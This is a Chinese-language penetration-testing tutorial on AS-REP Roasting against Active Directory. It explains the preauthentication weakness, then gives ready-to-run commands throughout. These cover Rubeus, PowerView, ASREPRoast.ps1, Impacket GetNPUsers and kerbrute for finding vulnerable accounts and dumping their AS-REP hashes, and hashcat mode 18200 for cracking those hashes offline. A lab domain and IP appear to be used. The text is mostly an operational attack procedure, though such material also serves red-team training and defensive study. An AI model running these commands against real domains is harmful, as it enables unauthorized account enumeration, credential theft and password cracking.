AS-REP Roasting

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。

但是该攻击方式利用比较局限,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。

预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。

当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。

AS-REP Roasting攻击条件

  • 域用户设置了 “ Do not require Kerberos preauthentication(不要求kerberos预身份验证) ”
  • 需要一台可与KDC进行通信的主机/用户

普通域用户下

方法一:使用 Rubeus.exe

使用rubeus.exe获得Hash

Rubeus.exe asreproast

使用hashcat对获得的Hash(需要修改格式)进行爆破

hashcat64.exe -m 18200 hash.txt pass.txt --force

方法二:使用powershell脚本

使用Empire下的powerview.ps1查找域中设置了 "不需要kerberos预身份验证" 的用户

Import-Module .\powerview.ps1
Get-DomainUser -PreauthNotRequired

使用ASREPRoast.ps1获取AS-REP返回的Hash

Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName mum03 -Domain mumsec.com | Out-File -Encoding ASCII hash.txt

或者使用GetNPUsers来获取用户kerberos票证(格式不需要修改)

#Impacket
GetNPUsers.py mumsec.com/mum03 -no-pass

使用hashcat对获得的Hash(需要修改格式)进行爆破

hashcat64.exe -m 18200 hash.txt pass.txt --force

非域内机器

对于非域内的机器,无法通过LDAP来发起用户名的查询。

所以要想获取 "不需要kerberos预身份验证" 的域内账号,只能通过枚举用户名的方式来获得。

这里使用kerbrute来枚举,需要其开启了88端口

kerbrute userenum -d mumsec.com --dc mumsec.com userlist.txt -t 20

或者直接利用GetNPUsers来检索获取hash

GetNPUsers.py mumsec.com/  -usersfile userlist.txt -dc-ip 192.168.56.131

而AS-REP Hash方面,非域内的主机,只要能和DC通信,便可以获取到。使用Get-ASREPHash,通过指定Server的参数即可。

Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName mum03 -Domain mumsec.com -Server 192.168.56.131 | Out-File -Encoding ASCII hash.txt

获取到Hash后,使用hashcat对其爆破。